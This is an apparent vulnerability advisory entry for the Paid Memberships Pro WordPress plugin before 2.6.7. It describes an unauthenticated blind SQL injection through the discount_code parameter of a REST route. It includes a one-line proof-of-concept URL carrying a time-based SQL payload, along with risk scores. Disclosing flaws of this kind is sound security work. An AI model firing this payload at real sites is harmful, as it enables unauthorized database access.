Lucene search

K
wpvulndbKrzysztof ZającWPVDB-ID:6C25A5F0-A137-4EA5-9422-8AE393D7B76B
HistoryJan 07, 2022 - 12:00 a.m.

Paid Memberships Pro < 2.6.7 - Unauthenticated Blind SQL Injection

2022-01-0700:00:00
Krzysztof Zając
wpscan.com
6

0.03 Low

EPSS

Percentile

91.0%

The plugin does not escape the discount_code in one of its REST route (available to unauthenticated users) before using it in a SQL statement, leading to a SQL injection

PoC

https://example.com/?rest_route=/pmpro/v1/checkout_level&amp;level;_id=3&amp;discount;_code=' union select sleep(1) -- g

CPENameOperatorVersion
paid-memberships-prolt2.6.6

0.03 Low

EPSS

Percentile

91.0%

Related for WPVDB-ID:6C25A5F0-A137-4EA5-9422-8AE393D7B76B